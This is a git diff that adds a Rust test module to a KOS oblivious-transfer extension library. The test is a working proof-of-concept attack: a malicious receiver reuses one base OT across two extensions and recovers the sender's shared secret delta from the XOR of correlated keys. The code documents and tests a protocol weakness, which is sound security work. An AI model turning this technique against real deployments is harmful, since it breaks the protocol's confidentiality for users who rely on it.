diff --git a/crates/ot-core/src/kos.rs b/crates/ot-core/src/kos.rs
index 2a9a450cb..82fde794d 100644
--- a/crates/ot-core/src/kos.rs
+++ b/crates/ot-core/src/kos.rs
@@ -6,6 +6,8 @@
 //! The user of this protocol must carefully consider if the leakage introduced
 //! in this protocol is acceptable for their specific application.
 
+#[cfg(test)]
+mod attack_poc;
 mod config;
 mod error;
 pub mod msgs;
diff --git a/crates/ot-core/src/kos/attack_poc.rs b/crates/ot-core/src/kos/attack_poc.rs
new file mode 100644
index 000000000..cb86104ff
--- /dev/null
+++ b/crates/ot-core/src/kos/attack_poc.rs
@@ -0,0 +1,98 @@
+use itybity::ToBits;
+use mpz_core::Block;
+
+use crate::{
+    kos::{CSP, Receiver, ReceiverConfig, Sender, SenderConfig},
+    rcot::{RCOTReceiver, RCOTReceiverOutput, RCOTSender, RCOTSenderOutput},
+};
+
+use rand::Rng;
+use rand_chacha::ChaCha12Rng;
+use rand_core::SeedableRng;
+
+const COUNT: usize = 128;
+
+struct InstanceOutput {
+    sender_keys: Vec<Block>,
+    receiver_choices: Vec<bool>,
+}
+
+fn sender_seeds_for(delta: Block, receiver_seeds: &[[Block; 2]; CSP]) -> [Block; CSP] {
+    delta
+        .iter_lsb0()
+        .zip(receiver_seeds.iter())
+        .map(|(b, pair)| if b { pair[1] } else { pair[0] })
+        .collect::<Vec<_>>()
+        .try_into()
+        .unwrap()
+}
+
+fn run_instance(
+    delta: Block,
+    sender_seeds: [Block; CSP],
+    receiver_seeds: [[Block; 2]; CSP],
+) -> InstanceOutput {
+    let mut sender = Sender::new(SenderConfig::default(), delta).setup(sender_seeds);
+    let mut receiver = Receiver::new(ReceiverConfig::default()).setup(receiver_seeds);
+
+    sender.alloc(COUNT).unwrap();
+    receiver.alloc(COUNT).unwrap();
+
+    while receiver.wants_extend() {
+        sender.extend(receiver.extend().unwrap()).unwrap();
+    }
+
+    let chi_seed = sender.check_start();
+    let receiver_check = receiver.check(chi_seed).unwrap();
+    sender.check(receiver_check).unwrap();
+
+    let RCOTSenderOutput { keys, .. } = sender.try_send_rcot(COUNT).unwrap();
+    let RCOTReceiverOutput { choices, .. } = receiver.try_recv_rcot(COUNT).unwrap();
+
+    InstanceOutput {
+        sender_keys: keys,
+        receiver_choices: choices,
+    }
+}
+
+fn recover_delta(a: &InstanceOutput, b: &InstanceOutput) -> Block {
+    for j in 0..COUNT {
+        if a.receiver_choices[j] != b.receiver_choices[j] {
+            return a.sender_keys[j] ^ b.sender_keys[j];
+        }
+    }
+    panic!("no column with complementary receiver choices")
+}
+
+fn gen_delta() -> Block {
+    let mut rng = ChaCha12Rng::seed_from_u64(2);
+    rng.random::<[u8; 16]>().into()
+}
+
+fn gen_receiver_seeds(seed: u64) -> [[Block; 2]; CSP] {
+    let mut rng = ChaCha12Rng::seed_from_u64(seed);
+    std::array::from_fn(|_| [rng.random(), rng.random()])
+}
+
+// A malicious KOS receiver runs two extensions against the same global `delta`
+// and reuses the same base OT for both. KOS has no per-instance domain
+// separation, so both instances derive identical extension columns; only the
+// receiver's (internal) choice bits differ. The sender's correlated keys are
+// raw (`key_j = t_j ^ choice_j * delta`), so at any column where the two runs
+// chose differently, `key_a ^ key_b == delta`.
+#[test]
+fn reused_base_ot_leaks_shared_delta() {
+    let delta = gen_delta();
+    let receiver_seeds = gen_receiver_seeds(3);
+    let sender_seeds = sender_seeds_for(delta, &receiver_seeds);
+
+    let a = run_instance(delta, sender_seeds, receiver_seeds);
+    let b = run_instance(delta, sender_seeds, receiver_seeds);
+
+    let recovered = recover_delta(&a, &b);
+
+    assert_eq!(
+        recovered, delta,
+        "malicious receiver recovered the shared delta by reusing the base OT"
+    );
+}